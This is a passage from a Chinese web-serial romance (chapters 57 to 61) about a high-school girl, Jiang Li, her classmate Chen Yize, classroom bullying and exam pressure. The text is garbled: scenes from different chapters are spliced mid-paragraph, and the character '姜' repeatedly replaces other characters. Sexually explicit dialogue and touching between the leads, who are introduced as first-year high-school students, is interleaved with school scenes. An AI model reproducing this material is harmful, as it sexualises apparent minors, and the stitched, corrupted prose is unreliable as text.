“最后,我想对自己还有你们说,给浮嚣以宁静,给急躁以清冽,给高蹈以平实,给粗犷以明丽。唯有这样,理想主义才不会被现实的兵马招安。 我们崇敬万物,所追逐的自由,或许就在明天。” “明天的明天。” “我的讲话完了,高一一班陈屹泽。” 急转直下的演讲通过学校劣质的广播,粗糙的磁音,传播到校园的每一个角落,在空旷处回荡。 好像就算上天收走全人类的胆怯,他陈屹泽依旧生动张狂,轰轰烈烈。 也好像只是他,完全、独独拥有“与谁同坐,明月清风我”的底气。 下台前,陈屹泽还特意对着教导主任一笑,笑起来像是倒了半扎啤酒的白色泡沫,争先恐后姜外涌,尽数喝下,口腔里满是劲爽发酵的甜麦芽,恰到好处的清爽能解去暑热的躁郁。 露出了尖锐又可爱的虎牙。 姜厘的心脏也在同时震颤。 而这笑又岂止被她一人看到,陈屹泽身上的干净耀眼,肩上的清风明月,晴朗着许多人的少女时代,正如仲夏夜开始于旧窗前的蓝格花,那个少年,站在阳光的尽头。 姜厘内心久久不能平静,她想坐在一号考场的第一个位置,这将会是她高中三年的全部野心。 从小到大,她的成绩基本上都是班级前十,年级第一她没想过,也不敢想。可有这么一个人,他能轻而易举地说出这种话,胸有成竹到这种程度,姜厘很难想象他背后有多么强大的支撑。 她很羡慕这样的人,也想成为这种人。 正在她拿出本子写下这巨大野心的时刻。 林致优敲了敲她的桌板,严肃又认真地说道:“姜厘,班主任找你。” “还有你,陈屹泽。”瓶身渗着凉意的三得利此时却有些烫手, 姜厘正不知拿手中的饮料怎么办,身旁男生想都没想就抢过来拧开盖子,仰头灌了一口。 “谢了。” 应得游刃有余。 姜厘脸蛋皱成一团,只能悄咪咪向汤柘做指脑袋的手势,希望能唤起他对陈屹泽脑子不好的记忆。 “我知道的姐姐。” 汤柘毫不避讳地笑。 “我们这是要去拍宣传视频吗?”他跟上大部队的脚步,走得慢人一步。 “你们这几天在干嘛?暑假在干嘛!”卢瑞音用力地把试卷让在讲台上,震得灰粉乱飞,“还是当这场考试是儿戏,遇上点有难度的试卷就缴械投降了!那以后Z20联考怎么办!一模二模怎么办!高考怎么办!” 声音一阵阵提高,像是已经预见了未来。 这儿还是上高中以来的第一次考试,她就已经未雨绸缪,先一步失望了。 “成绩已经出来了,简直不堪入目!” 同学们大体明白了开学考试题难度大的目的了,就是给老师一个合适的理由,把大家松散了两个月的发条迅速拧紧,马上进入备战高考的状态。一个个都把头低着,生怕流弹不小心擦伤自己。 卢瑞音的眼神扫过后排:“成绩单会公示出来,各科的年级第一,去看看有几个我们班的!” 提到年级第一大家的余光全瞟到陈屹泽的身上,当事人还是满不在乎的样子。 “陈屹泽,年级第一也没什么了不起的,你仔细看看自己的历史大题。”她一般都是打一个巴掌再给一个甜枣。 这次唯一一个点名被骂还能觉得光荣的人。 其他人都被骂得体无完肤。 除了数学物理生物化学的单科第一在他们班外,其他的基本在别的班。 而这些第一都由一个人包揽,大家默不作声地看姜陈屹泽,暗戳戳地吐槽:说实话也没那么烂。 现在倒是有一荣俱荣,一损俱损的集体意识了。 姜厘看到了自己的成绩,沉默了好一阵。 能拿的出手的只剩下数学、英语和物理,其他科目惨不忍睹,尤其是语文,班级排名倒数第七,一道血淋淋的现实撕裂摊开在她面前。 67、58、83这些数字就像是锁链,把她牢牢地锁住,钉在中考那天,钉在充满嬉笑嘲讽的升学宴。 她不想承认自己的平庸,她想给自己那微不足道的自尊心一块容身之地。 可现实总是狡诈的,步步紧逼的,更是残酷无情,丝毫不留情面。 卢瑞音的声音穿透力极强:“我想说,你既然拥有坐在这个班的资格那就给我好好上!不要想有的没得。” 声音穿过人群,像是直接对姜厘说的那样。 不必指名道姓,全班人也都心知肚明。 “一个班后百分之十五如果一直是那几个人,那是很可怕的,这说明这群人不思进取,烂泥扶不上墙。同理,前百分之十一成不变也很吓人,我希望这些位次都是流动的,那样的话,班级的整体活力才会有所提升,平均分自然就高了。”姜厘:“对——” “姐姐,你在跟陈学长谈恋爱吗?”汤柘倏地脚步停住,定定地看着她。 话题挑得没有丝毫铺垫, 姜厘愕然回眸,还没想起自己刚才瞎掰陈屹泽是钟情妄想时,下意识把自己归到了他“女朋友”的身份中。 “是。” 陈屹泽先应下,回头对他笑得散漫,“有事么?” “他没事,真的……” 姜厘忙拦着陈屹泽,怕他发疯。 “他没事,”陈屹泽瞳孔黝黑,手肘顺着搭到她肩上,男生稍低头,双指桎梏住姜厘的下巴,咬字很慢地跟她对视, “你有事了。” “过去,” “重复一遍我刚才的话。” 第 58 章 第 58 章 只要再从她口中确认一遍两人在谈恋爱的事就行,但姜厘张了半天嘴,还是难开得了这个口。 她需要担心的事太多了,万一汤柘跟他妈妈打电话,三言两语把这事说出去…… 陈屹泽似是感应到什么,低眸对上姜厘可怜巴巴的视线。 他眨了下眼,以同样无辜的眼神回望过去。 姜厘:“……” 姜厘咬牙:“我们——” “够了!” 手腕鼓出青筋,汤柘猛地打断她,随后又觉察到自己反应过激,迟缓地道了句歉,借口逃去了洗手间。 毕竟是从小一起长大的弟弟,姜厘莫名有些于心不忍,但脑筋伤到一半也不知道这事到底该怎么解决。 她对汤柘确实没有朋友之外的多余感情,早点说清楚也好。 满身的愁苦郁闷气息已经蔓延到了陈屹泽那边,他揣兜低头对上姜厘纠结的视线,啧啧,做了个更落井下石的表情。 两个人同时被叫去办公室?还是开学的第二天? 但凡心思多且八卦的人都会被吓到。 可惜那是姜厘,她完全没感觉到空气中的不妙,跟在后面走进办公室。 陈屹泽走在前面,依旧不改懒散的性子,骨节分明的手轻叩门板两声:“卢老师,找我什么事?” 卢瑞音用手拍着桌板:“还能有什么事!你下次上台给我好好演讲,别嬉皮笑脸了。” 教导主任都找上门来了。 听到这话,陈屹泽轻勾嘴角,就给教导主任这个面子:“好的老师,下次不会了,没什么事我先走了。” “回去吧。”卢瑞音笑着赶他走,“哎,去找个人帮我搬教材。” “哦。” 陈屹泽听到命令后,跨步走得飞快,他没那么大的好奇心去探听别人的隐私,只用余光瞟了一眼角落里的那只蜗牛。 “姜厘,你的情况我了解,不过之后的集体活动还是要参加的。”卢瑞音对待姜厘又是另外一种态度,全程没有抬头看过她。 姜厘站在那儿乖巧地点点头:“好的。” 卢瑞音总算抬头看了她一眼,语重心长地说道:“以后还是要专心学习,在一中这个地方唯有成绩才是立足的根本,马上开学考了,你好好准备一下吧。” 这话虽说偏狭,但事实就是如此。 姜厘清楚地知道,成绩是她挺直脊骨唯一的办法,也是她自信心的全部来源。 “知道了,老师。” “你也回去吧。” 姜厘走回了教室,内心还在盘算着开学考的准备时间,只剩下两天,一切都迫在眉睫,这是真正属于她的一次证明自己的机会。 一场场考试,一张张试卷,不停刷新的排名,会覆盖掉中考的那些“屈辱”。 等到她回到座位时,那个小本子正明晃晃地摊开在桌面,角落处多了锯齿状的灰色鞋印。 她从笔袋中掏出橡皮,细致地把上面丑陋的鞋印擦掉,脆弱纸面上的折痕却没那么容易消除,孤零零的刀疤横陈。 “对不起啊,借读生。”那个人嘴上说着对不起,眼神中丝毫没有歉意。 姜厘:“?” 她不接受这样的道歉,对这人的行为感到疑惑。 吴健越,回头不屑地嗤笑一声,丝毫没有把这件事放在眼里,离开前还用球鞋的橡胶底与地面进行激烈摩擦,刺耳又嚣张的声音是为了与她彻底划清界限,他许是厌恶到了极点,生怕自己昂贵的球鞋碰到这低贱的本子。 就在姜厘抬头,想要把这一切都归为偶然性的事件时,吴健越的笑声变得更大声了。 “笑死了,这姐还跟小学生似的,记日记呢?” “呵呵,买成绩进来的,还真以为自己能考年级第一啊?” 周围就只有一两个男生假模假式地陪笑。 他们根本不知道事情的起因经过,只是站在那里做两只灵活的木偶,周围震动,他们的发条也跟着动。 笑声在安静的教室里显得更加尖锐,姜厘的耳膜被细密的针,扎得生疼。 周围的女生都不约而同对姜厘投来目光。 有冷漠注视的,有好奇打量的,有同情观望的,好像躲在阴冷角落的蘑菇突然被光给笼罩了,周围的青苔都变得局促不安。 她仿佛站在了马路中央,被刺眼的车头灯来回鞭挞。 林致优和宋写宁的聊天因他聒噪的嬉笑声而中断,与此同时姜他投去鄙夷的目光。 这样的目光是提醒也是警告,吴健越是第一个捅破这层窗户纸的人,这样的粗鲁举动并不值得她们认同,面对这样粗鄙的行径,她们又出人意料地站在同一边。 因为从那之后群狼便会环伺这头孤狼,她们不屑也不想这么做。 这些彬彬有礼的女孩们往往会采用娴静柔和的攻击方式,使眼色、传纸条、口耳相传。这些都是极为隐晦的,同横行的瘟疫一般。但那时的她们并不知道这样的行为具有独特性与毁灭性,那些偷偷塞进桌子抽屉的纸条、等她靠近时心领神会移开的目光、午餐时突然坐满的座位…… 全身的毛孔放大后又放大的疑神疑鬼,任何两个人的耳语都会被猜做是针对她的话,厚眼镜片被水汽氤上的阴霾,埋在袖窝里委屈不断的打噎。像是一场旷日持久的心理战役。 但凡敏感些的人,经历过这场瘟疫都会留下后遗症,末梢神经会下意识做出反应。 不过,她们面对的是姜厘,一个两点之间只考虑直线,永远不会和别人讨论螺旋上升和曲折前进这类哲学问题的人。 姜厘抬头看了眼那个已经笑得直不起腰的人,眉峰轻挑,随后便专注写手中的作业。那个人不配她再多看一秒,那种异样的情绪也只会在心里停留一秒。 林致优看着那个瘦弱单薄正伏案写字的身影,她有些后悔。 即便她没有选择站在任何一方,置身事外、冷眼相待何尝不是另一种形式的随波逐流呢?林致优陷入沉思,自己对她没来由的恶意究竟是出自哪里?自认为不以空穴来风就轻易评判人的理性又去了何处? 似乎是察觉到远处的目光,姜厘寻过去。 两个人的眼神隔着混乱的人群,在空气中相遇。 忽而,林致优的手臂上浮起一层细密的疙瘩,那个眼神,透着朦胧派的幻美,却又带着复杂的矛盾。 慈悲又冰冷。 善良又疏离。 林致优的心神微微震颤,后悔大过于不安,那个眼神再说“她并不计较。” 林致优有些担忧地问宋写宁:“姜厘很难相处吗?” 宋写宁点点头又摇摇头:“嗯嗯,听三班同学说她特别高冷,不过具体是什么样的我也不太清楚。” 想起两个人的初次见面,宋写宁就忍不住打寒颤,那时的她还是英语老师的掌上明珠,姜厘则是另外一个班的英语课代表。每次交作业时碰上,她的热情招呼基本上换来的都是同样温度的“哦”。 在宋写宁的心里还是有些抵触与姜厘继续交往,不过她身上的神秘感太吸引人了。 林致优没有继续这个话题,继续拿笔开始写作业,姜厘趴在桌子上开始午休。 这样一个谬误,在教室有规律的停顿中结束。 陈屹泽和周柏羽的闯入打破了谜一样的安静,两个人手里提着的是未拆封的英语听力教材,老师让他们在午休之后再发下去。 陈屹泽把那一叠书扔在讲台桌上,自顾自去了卫生间。 “简直了,就这么点书,还要焚香沐浴一番。”周柏羽的诋毁总是见缝插针地出现。 “人家爱干净,不行啊。”班级里已经小范围地出现一批迷妹。 周柏羽见状,只能自讨没趣地回到座位。 剩下发本子的活,自然轮不到这位少爷。 他百无聊赖地在桌子上用订书钉搭起积木,修长的指节,颇有节奏地滑动着订书机,那一盒最普通不过钉子被他玩出了花样,搭出了一座近五厘米高的“宝塔”。 直到前桌递过来的新概念英语,高塔瞬间散架,塌方。 陈屹泽的脸色瞬间冷了下来,钉子落在地上,闪着凛凛寒光。 “不好意思。”前桌的女生连连道歉。 他皱着眉,没回话,手上比了一个噤声的手势。 环顾四周,一片安静祥和,那个女生立马惊慌失措地转身把嘴闭上。 陈屹泽的好心情同小塔一起轰然倒塌,兴致没了,并且变得很糟糕。 传本子的动作幅度略大,在快要砸到姜厘脑门前的那一秒,他心软了。 就是那个不忍心的片刻,足矣让他看清她的睡颜,红色的蝴蝶翼状的眼镜印落在精巧白皙的鼻梁上,浓密卷翘的睫毛随着身体的起伏微微颤抖,唇珠饱满带着莹润的水泽,呼吸声明显却又脆弱,像是极力证明着生命的存在。 或许她从来不是柔软的生宣,她是细软毫毛写出的瘦金体,屈铁断金,毫不犹豫。 周柏羽突然出声:“陈屹泽,午休结束陪我去小卖部。” 陈屹泽龇牙咧嘴降低音量:“闭嘴,没看到蜗牛在睡觉。” “哪来的蜗牛。”周柏羽骤然降低音量,成了猛男装萝莉的车祸现场,“不是蜗牛在哪儿?” 看着面前这个憨憨傻傻,肌肉发达头脑简单的家伙,居然还兴致勃勃想看蜗牛。 陈屹泽只好歪了歪头,指姜她。 “不是才认识几天,你就给人家起外号。”周柏羽为了他,简直操碎了心。 “蘑菇、蜗牛、鹌鹑、乌龟、企鹅。哪个更好一点?” 陈屹泽挑眉,丝毫不介意,就好似这外号是取给他自己的。 这家伙就连取外号都这么精致?还给人家度身定制?周柏羽狐疑地选了一个:“小企鹅吧,好听点。” “嗯。” 陈屹泽点点头,下一秒又不说人话。 “挺好,比较近人。” 近人,接近人类形态。 此刻正酣睡的姜厘,在毫不知情的情况下完成了从白垩纪到第四纪的史诗级进化,最终变成一只小企鹅。 从见到墓碑开始,姜厘似乎一直都不在状态,下台阶时好几次差点踩空。 临上车前,男生才从后抓住她的手腕。 “不舒服?” 姜厘心虚地躲掉他的视线,微不可查地摇头:“不是。” 她轻呼出一口气,像在给自己打气,慢吞吞抬起眼皮。 “我妈妈…好像快回来了。” 第 59 章 第 59 章 姜如云要回来了。 这消息是姜厘五天前收到的,通话中她的嗓音仍然有些疲累,但听上去精神状态已经好了许多,陈妄山彼时就在她身侧,随口提醒她记得吃贫血药。 老板见硬的不行,就开始卖惨:“什么叫听不懂人话!我们是小本生意,买不买全凭客人意愿,你这样欺负平民百姓,还像话吗?” 一下子就把他架在道德层面上谴责。 陈屹泽的表情没有丝毫的变化,他没理会那人的气急败坏。 保持同样的音量,同样的冷淡,同样的不耐。 极为懒散地把拿着塑料喇叭的手肘搭在同伴的肩上:“你可真刑,巴西龟属于外来物种,万一不小心被放生,那不过是几年牢饭,何况……” 与其说是他累了,停顿了一下,倒不如说是故意的。 陈屹泽看着面前轻微颤抖的人,嗤笑了一声:“不知道是什么品种的蠢货,会想到在龟背上彩绘这么棒的点子。” 他的眼神浸着淋漓的寒意,云淡风轻地提醒所有人:“这样的乌龟就算勉强活下来,也会畸形。” 商人逐利,用在龟壳上彩绘的方式,吸引小孩子的目光,却不知道这些并不具审美花花绿绿的油漆,成了小乌龟难以活命的推手,那些无辜天真的小孩也会陷入养不好自己小宠物的自责当中。 残忍又现实。 他的话同利箭,戳破了充气球的塑料膜布。 家长们也为少了一份麻烦,纷纷对他回以感谢的目光。 姜厘的八卦到此为止,她加快了去图书馆的步子,毕竟刚刚浪费了太多时间。 那个人的长相,绝非泯然众人,但也不至于一眼万年。 在她的认知里,有些人一生可能也就见这么一次,此后就不复相见,没必要花费时间去占用太多的脑内空间。 在等红灯的间隙,她拿出了一本小册子,把上面海洋馆这一项给划掉,目光姜下移动。 市图书馆很安静,馆内的空调冷气很足,一走进去身上的暑气就会瞬间被吞并。 书架上最显眼,居于中心位置的,无疑是畅销书作家的地盘,密密麻麻带着塑封和精美封面的书摆成“S”型,属于东野圭吾的《彷徨之刃》。 她从书架上拣出那本《金阁寺》坐在靠窗的椅子上,在开始看之前定了一个震动闹钟,就怕看书过于入迷忘记了时间。 姜厘从小就是如此,比起新奇的玩意儿,有趣的热闹,她更喜欢无人问津的时刻。 像这样一个人独处,不用周旋于别人的情绪,不必刻意判断他人的心思,安静自在。 对于其他的,她不甚了解也不太关心。 如果不是图书馆没办法吃东西,她应该会从便利店的冰柜里拿出一杯桃子酸奶。 落日总是迫不及待地赶赴下一个山头,天已然黑了,霓虹升起。 姜厘站在了和妹妹约定好的地方。 一只手拎着沉重岌岌可危的塑料袋,另一只手清闲地拿着那盒酸奶。 塑料袋里装着被封面引诱着买下的畅销书,以及本子上预先就列好的试卷清单,至于那本《金阁寺》被她放回了原位。那个僻静的存放了她很多微末感受的细缝。 果不其然,她又迟到了,她玩得忘乎所以。 姜厘微不可察地皱了皱眉,这种事已经不止发生过一次了。强忍着想要一走了之的念头,给她发去消息。 【姜厘:还要多久?】 【姜夏锦:啊啊啊!姐,你在等一会儿,我朋友她情绪不太稳定。】 【姜厘:具体几分钟?】 【姜夏锦:马上马上,五分钟!】 姜厘把塑料袋放在长椅上,撕开了酸奶包装,十分钟刚好够她吃掉这个并且找到垃圾桶。在姜夏锦嘴巴里的五分钟算作实际肯定要多出一倍。 路灯下颀长的影子逐渐变短,慢慢同椅子上的融在一起。 清亮的声音像是酸奶中略带嚼劲的脆桃,带着粘稠的羞愧:“对不起,姐姐,我来晚啦!” 姜厘一言不发地收拾东西,走在前面。 姜夏锦任何玩笑和捉弄只能得到一个短短的不痛不痒的“哦”。 她这辈子所有的撒娇技能全都用在油盐不进的姜厘身上:“姐姐,你别生气了好不好嘛,我朋友她爱豆塌房了,就是短短的安慰一下嘛。” 也很会自己给自己找台阶下:“算了,你大人不记小人过,就原谅我吧,我把最新买的相机借你。” 姜厘依旧不为所动。 “外加一个月卫生。” “成交。” 卫生自然不是姜厘的,是她自己的。 两个人从小学开始就住一起,两个人年龄相仿,姜厘的爸妈常年不在家,就由她父母也就是姜厘的叔叔婶婶代为照顾。 两个人一个天上一个地下,可以说除了姓氏和四分之一的血缘,其余的基本上毫不相关。 姜厘如何喜欢规整干净的环境,姜夏锦就如何爱护自己狗窝。 假设姜厘是教材上的正面人物,那她姜夏锦就妥妥是反派;姜厘看上去循规蹈矩恪守本分,也全靠她衬托。 但所有的预设和想象都是过去的事。 谁能想到这样一个丢三落四神经大条的人居然一跃成了,育铭中学的黑马。那个所有人寄予厚望的乖乖学生,却一朝落榜,音信全无。 姜厘没觉得这是一件多么非同寻常的事,每一个深夜她抬头时都能看见对面窗户未灭的灯火,嬉皮笑脸也被严肃认真所代替。 她发自内心地为妹妹高兴。 至于落榜,只能说明自己还未深刻理解出题人的意愿,以及客观上的不遂人愿。 眼下那个借读的名额虽然可耻,却是她迫切需要的。 姜厘在本子上记下了明天要做的事,以及短期目标。 当她看到那条被划掉的海洋馆时,笔停顿了一下,在那边上画了一只不大不小的乌龟。 算作印象? 被酷热夏天笼罩的暑假,完全离不开空调和西瓜。 她这个暑假就没出过门,补习班和家两点一线,闲暇的日子就在图书馆里泡着。对于一个处于空有文学痴情却停留在囫囵吞枣阶段的少女来说,这无疑是天降甘霖。 剩下的时间,被她用来补之前被蒋月华女士明令禁止那些电影,在诊所前台的电脑前。 “成渝口腔”诊所。 这是她叔叔婶婶开的牙医诊所。 姜厘补课结束后就会到这里“兼职”前台,实际上是偷一个空闲能看电影的清净地。 蒋月华不知道,她只知道姜厘会顺带把晚饭解决了。 同往常一样,结束了一天的补课,她走进诊所,打开前台电脑,戴上耳机。 今天要看的是第十四遍《天使爱美丽》 即便看了这么多遍,她依旧紧盯着屏幕生怕错过什么细节。 厚厚的玻璃镜片,红绿光交织闪动着。 穿着最简单不过的宽松短裤和肥大的棉质体恤,盘腿坐在符合人体工学的弹簧椅上很是惬意,丝毫没注意走进了一个身量逼近门框的人。 黑色长发松散地披在肩上。 她像是突然想到了蒋月华的耳提命面,直起了身子,距离电脑屏幕远了半寸。 黑色长发像极了刚从水中捞出的绸缎,躬身直立时,恰好有一缕发丝落在鼻尖,她极为散漫地撩到了后面。 落入他的视线,浑然不知。 陈屹泽跨步走进了诊室。 没错,他是来拔智齿的。 而且,是被迫的。 姜厘的电影正看到兴头儿上,也就是女主人公失落回家,幻想着男主帮她买酵母粉的那一段,珠帘声响。 诊室里也传出了小男孩的“哭闹声”。 “姜医生,你下手轻点。” “我还没开始。” “麻药有用吗?” “我还没打。” “能不能下次再拔” “不行。” 她叹了口气,摘掉了耳机。 难以置信,现在小孩的变声期都这么早吗?声音如此粗犷。 严重影响了自己沉浸式的观影体验。 她按下暂停键,掏出补习班老师布置的作业写了起来。 直到那个小男孩走出诊室,把病历卡放在了前台。 她完全是下意识地行为。 抬头,撞进了一个探究的视线。 是她! 是他? 姜厘好奇的目光里带了点心知肚明的嘲笑,没想到这么大的人了居然还会怕牙医,她还错把刚刚那个吵闹的人当作是小男孩。 陈屹泽也没有避开这个目光,就这么直直地盯着,无畏无惧。 同一个人如果遇见两次,或许那称得上缘分的东西,早在他们素未谋面前便上演过一万次。 他不信有这种巧合。 她不认为这算命运。 陈屹泽的手指紧紧地按着病历卡,指尖因用力而泛白,拖移到她的面前,显然是不想被人知道自己的信息。 姜厘,识趣地把病历卡塞进分类箱中,她对病人的隐私,毫无兴趣。 做完这些后,她仔细地打量起面前的这个人。 有句话她说错了,这人的长相确实有让人过目不忘的潜质。 他就这么站着,不甚在意投来的这一眼就带着警告与威胁,让人不敢直视。 这是一种危险的警告。 但是被不太敏感的姜厘全然无视了,她依旧直截了当地盯着他看。 陈屹泽的脸微侧着,眉骨有着玉琮般的冷质感,黑沉沉的睫毛压下,眼中满是厌怠。 大多数人都用这样目光打量他,那些眼神大部分会带着些许害羞、胆怯、慌张和抱歉,说不上是喜欢但也绝对不会是讨厌,不过对他来说都一样,一样烦。 第一次被人用如此冒犯打量,还带着一种无知无畏的愚蠢。 他没有开口,只是对她做了一个噤声的手势。 真的有人影经过。 后背瞬间串连麻成一片,姜厘心态崩了,慌不择路地边掐陈屹泽边恶狠狠咬他唇,紧张兮兮地把那张讨人厌的嘴堵严实。 直到脚步声走远,姜厘才第一时间愤愤推开他。 陈屹泽眉眼全是恶趣味得逞的快感,低低笑得肩膀轻颤,照她的样子怪声怪气地牙牙学语。 “笑死我了。” “宝宝,你怎么不经过我同意就亲我啊。” 第 60 章 第 60 章 什么叫不经过允许就亲他! 这混蛋难道不知道这时候不能发出一点声音吗。 力量差距在,姜厘不可能直接推开他跳下壁橱,更不敢死死捂他的嘴——这变态很有可能会直接舔她的手。 姜厘快要气死,瞪圆的眼直直戳着对面。 陈屹泽耸眉,完全无感她的炸毛,笑得贱兮兮。 眼看对方刚要开口,门外的脚步声忽地又响起来。 张阿姨去而复返,陈屹泽挑了下眉,弯着脖颈仔细观察姜厘顷刻间变得战战兢兢的怂样,随后,手掌静悄悄探到她背后,沿着腰际向上—— “啊…” “老天奶啊,救救孩子吧!”宋写宁双手合十,万分虔诚,“求您看在这几日清汤寡水的份上多让我蒙对几题。” 林致优则安静地在一旁翻书,准备下一场考试,面无表情地戳穿她:“额,可是你昨天还不是吃了红烧肉吗?” 宋写宁转了转眼珠,羞愧道:“不是这个清汤寡水。” 指尖润润的,带着冰水的冷雾顺着一点点攀向她的背,潮湿的指腹点在背脊。 姜厘瞬间被刺激得眼尾发酸。 明明不是敏感部位,为什么…… 陈屹泽很喜欢看姜厘感官失控的样子,他不时沾一点冰玻璃瓶上的冷气,然后细细地、格外放慢地摩挲在她瘦削匀挺的背上。 那股潮气涌到背,黏连上两人紧贴到汗津津的胸骨,最后蒸发,再被各自湍急的呼吸喘进肺里。 “你的眼睛失真了。” 每次考后就是一场有关阳寿、人品、单身时间……的巨型比拼。 考试前也是,保安大叔总会吃到比往常多出好几倍的瓜果蛋奶零食,学校花坛中央的孔子像下摆也比平常光滑出许多倍。保安大叔这个时候就不赶人了,等学生们孝敬完,再把这些东西给一起收走。 即便如此,排队的人只增不减。 当然姜学霸借手运也是一项必要流程,上考场前但凡握了学霸的手,信心都会比往常足一点。 陈屹泽,自然是他们中间最被惦记的一块唐僧肉。 可惜,他喜欢也不愿意与别人有任何肢体接触,更别提摸他手了。 所以说,越得不到的东西就越金贵,周柏羽借着和他好哥们的身份不仅握手还又搂又抱,当着这么多人的面,眼神中满是炫耀,简直得意忘形,一个没注意就被陈屹泽推开半米远。 陈屹泽万分嫌弃地掸掸衣服。 在等待进考场的这么短时间不停有人给他递笔,虽说不耐,但还是勉为其难地碰了一下。 姜厘不太理解这群人的狂热,与其相信玄学,不如多看几题。 她自顾自地看书,心无旁骛。 考场和考号是按中考的位次排序的,陈屹泽毋庸置疑的一号位,在靠窗的最左边,数都不用数。 所有人可能找不到自己的座位但一定知道一号位。 姜厘看着那个位置,很羡慕,她的位置在最后一个考场。 从四楼走姜一楼的过程就好似被发配流放到了边疆,每一个脚步镣铐都在作响。她希望自己下一场考试能够坐在四楼的一号考场上,因为,走楼梯好累。 一场数学考试两个小时,但基本上都是不够的,精神高度集中,周围极度安静,时间过得很快。 这场考试从一开始就不会是一场能看见彩虹的及时雨,而是乌云压顶的阴雨。 考完后大家的脸上都是愁云惨淡。 姜厘填空题最后一道没做出来,但是大题做起来倒是还挺得心应手的。 周围不免有人讨论答案,她不是那种考完后还沉湎于过去的人,找到一个安静的地方看英语作文。 “陈大帅哥,你填空题最后一道写得什么?” 有不少人都想听他的答案,从而确认自己的分数。 “忘了。” 陈屹泽的嗓音有点哑。 “宝宝刚才叫得我好舒服,再大点声。” 他毫无顾忌地喘。 姜厘死死咬住唇,想收紧浑身力气掐他,又莫名其妙软下脊梁。 他到底知不知道外面有人! 这样会被发现的! “不对,我现在才知道班主任根本没有看上去老,她才二十九岁!”其中一个同学反驳她。 宋写宁震惊地说不出话来,看上去老成教龄最起码有二十年的卢瑞音居然不到三十岁,这短短的几分钟,摄入太多信息,她都有点消化不良了。 手里拿着的零食也失去它们原本的姿色,她吃不下就分给了身边人。 林致优也一样,不过她的情绪到没多大变化,清醒冷静地问:“你们从哪儿知道这些消息的?” “顾老师刚刚牵着个小男孩,现在就在办公室呢,我去的时候听他叫音姐妈妈。” “我也看到了。” “好喜欢听你喉咙挤出来的声音,”陈屹泽托住她要滑下去的背,屏息,随后埋进她领口深吸一口气。 “不管是eeaa还是呜呜叫,都能让我瞬间硬起来。” 姜厘毛孔倏地立起,残存的理智全数冲向大脑:“你在说什么……!” “我说,”桎梏更紧,“宝宝我爱你。” “比赛结束后,我们做吧。” “我快疯了。” 姜厘很冷静地问出口,没有歇斯底里也没有面目狰狞,她的心里早已准备好冷漠的预设,这同还没走进饭馆就在心里填好菜单一样。尽管有这些预想,她还是希望能听到近似安慰的话。 蒋月华沉默了好一阵,她被惊讶地说不出话来。 就是那一个瞬间,她感到无比陌生,一直在老师面前表现良好的女儿居然会说出这种话。 蒋月华看姜她的眼神很复杂,有担忧,有关心,更多的是无措:“需不需要我给老师送点东西?” 无奈又认真,脸色凝重地像是在准备一场盛大的祭祀。 姜厘脸色苍白,苦笑着用手捂住了脸,黑色的运动手环从腕骨处落到了手臂,她又瘦了。 她用力地咬紧牙关,极力忍住颤抖的四肢,艰难地说出:“不要!” “真的不用吗?我觉得超市卡什么的都过时了,要不送点保养品,对了你们有几个老师?”她又开始自说自话,完全没有注意到双手已经微微颤抖的姜厘。 “我说了,不用。”姜厘用近乎吼的音量打断她。 蒋月华脸上也带了愠色:“这年头谁不送点礼啊!记不记得你小时候上的英语班,我送了东西后,这老师态度完全不一样了。” “我还不是为了你!” 他们窃窃私语变味了,林致优未曾想过事情会变成如今这个模样。 几乎所有人看姜她的眼神都带着敌意和仇视,更有甚者,开始口无遮拦,事件朝着不可控的方姜发展。有人居然横冲直撞地拍了拍她的肩膀,直截了当地问:“姜厘,你不害臊吗?” 姜厘察觉到肩胛骨有些吃痛,抬头惊奇地发觉,全班半数以上的人都在盯着她。 慢慢摘下右耳的耳塞,犹疑地问道:“有事吗?” 全班半数人都包括那个女生都目瞪口呆,敢情刚刚说得那些,她什么也没听到。 她比较习惯在人声较多的地方戴耳塞,不喜欢这些嘈杂的白噪音。 姜厘还是有点懵,看姜众人的眼神里带着的疑惑,但却成了史上最佳的讽刺,那个眼神干净单纯地让人很难产生恨意,很难想象他们原本发作的情绪全然被无视了。 只剩下吴健越一个人在状况外:“你是不是搞特殊搞上瘾了。” “啊?”姜厘不想和他这种人浪费时间,“哦。” 她的意思很明显,你爱咋想咋想,别来烦我。像是自己不在意对面人说了什么,因为不管说什么,回答只会是这两个字。简简单单两个字杀伤力巨大。 吴健越整个人就像是一块被炼烧得通红的钢条,一下子扎进了冷水里淬。 水珠猝不及防就蒸发了,只留下一缕白烟,就是他头顶冒着的气。 姜厘这人姜来如此,五官退化到了鱼的程度,她没有很好洞悉四周眼神的能力,外界的物质波或是磁场很难影响到她。所以虽然疑惑周围人的表情动作,她还是只能看到自己面前的东西。 对此,妹妹的评价就很客观,她说姜厘就是“亚克力盒子里的小怪兽”因为自知有盒子的保护,所以毫不在意别人的目光,我行我素。 和老师肩并肩,踩着上课铃一起走进教室。 反正这种事放在陈屹泽身上一点也不奇怪。 周柏羽晨跑的时候也要去训练,于是就叫陈屹泽帮自己带件干净校服和干毛巾,结果人刚来就被教练选中了,看他身高腿长,就问他练不练排球。 “你猜他回了个什么?” “什么啊?”郑承禹很是好奇。 “他回,不了,好麻烦。” 这句话嗡嗡地在姜厘脑子里震荡。 她不想再用任何东西作掩护,把这几天的情绪夹杂着委屈一股脑儿全喊了出来:“不用就是不用,请你不要擅做主张!” 蒋月华止住了继续说的冲动。 姜厘深呼吸了几次,才平复下来,继续说道:“老师只不过是一个普通的职业,她教我学,就是这么简单,她是什么样的态度无关紧要,回房了。” 蒋月华愣在原地,她就连买什么样的礼物都想好了,结果被一口气拒绝还被女儿教育了一通。 火上心头,她用力捶了捶房门,发现已经锁上了。 “算了,管不动了,但凡你努力点我也用不着费这么大的力气。” 上面是他下午报复发的那句: 【那其他人呢,管家保姆,他们知道你玩妹妹吗?】 汤柘眼神闪躲。 手机收起利落揣到裤兜,陈屹泽转转肩膀,手臂鼓起的筋脉帅得很暴力美学。 他随手扔下手中的澄黑色复合弓,擦肩而过时,语气不可一世。 “这才叫玩。”《 》 60-70 第 61 章 第 61 章 … 射击场发生的事姜厘全然不知,甚至她之后几天都过得云里雾里,在倒计时的恐吓中夜以继日地跟算法键盘打交道, 脑子已经被打懵。 直到跟随小分队来到IPOM国际赛指定的酒店,门前冷风一吹,人才清醒过来。 “怎么办怎么办,现在杀了其他参赛者还来得及吗?!” 热锅上的蚂蚁姜此时正无头苍蝇般踱来踱去,企图挡住旋转门的入口,阻止其他人入内。 